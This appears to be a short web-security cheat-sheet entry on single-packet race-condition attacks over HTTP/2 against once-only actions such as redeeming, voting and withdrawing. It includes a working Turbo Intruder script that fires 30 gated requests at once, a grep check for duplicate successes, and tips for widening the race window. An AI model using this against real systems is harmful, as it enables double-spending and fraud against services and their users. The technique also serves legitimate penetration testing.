Single-packet race conditions over HTTP/2

For once-only actions (redeem, vote, withdraw) network jitter usually hides the window. HTTP/2 multiplexing lets you deliver many requests in a single packet, landing them within roughly a millisecond.

# Turbo Intruder, single-packet attack
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
    for i in range(30):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

Confirm the overrun by response clustering, not the final balance alone.

# look for multiple 200s where only one should succeed
grep -c '200 OK' results.txt

Pro note: the target must read, check, then write without a row lock. If single-packet still loses, warm the connection first and target endpoints that do slow work (email send, external API) which widen the window.